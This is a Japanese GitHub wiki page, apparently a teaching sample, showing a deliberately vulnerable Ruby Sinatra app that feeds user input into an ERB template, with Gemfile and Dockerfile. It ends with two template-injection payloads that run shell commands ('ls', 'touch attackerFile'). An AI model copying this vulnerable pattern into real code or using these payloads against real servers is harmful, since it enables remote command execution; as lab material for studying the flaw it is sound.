SSTI ruby 01 - yujitounai/helloworld GitHub Wiki

サーバーサイドテンプレートインジェクション

脆弱なソースコード (ruby erb)

web.rb

require "sinatra"
require 'erb'

set :port,5081
set :bind, '0.0.0.0'

def getHTML(name)
    text = '<!DOCTYPE html><html><body>
    <form action="/" method="post">
      First name:<br>
      <input type="text" name="name" value="">
      <input type="submit" value="Submit">
    </form><h2>Hello '+name+'</h2></body></html>'

    template = ERB.new(text)
    return template.result(binding)
end

get "/" do
  name =""
  if(params["name"]!= nil)
    name =params['name']
  end
  getHTML(name)
end

post "/" do
  name =""
  if(params["name"]!= nil)
    name =params['name']
  end
  getHTML(name)
end

Gemfile

source "http://rubygems.org"
gem "sinatra"

Dockerfile

FROM ruby:2.3

COPY src/ /home
RUN cd /home; bundle install

攻撃する方法

<%=%x(ls )%>

<%=system( "touch attackerFile" )%>

https://github.com/DiogoMRSilva/websitesVulnerableToSSTI/tree/master/ruby/ERB

⚠️ **GitHub.com Fallback** ⚠️